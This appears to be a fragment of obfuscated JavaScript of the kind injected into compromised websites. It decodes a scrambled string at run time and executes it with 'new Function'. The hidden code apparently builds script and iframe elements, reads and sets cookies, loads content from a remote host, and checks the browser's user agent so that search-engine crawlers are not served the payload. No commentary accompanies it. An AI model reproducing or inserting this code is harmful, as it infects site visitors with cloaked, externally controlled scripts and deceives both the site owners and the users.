$ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();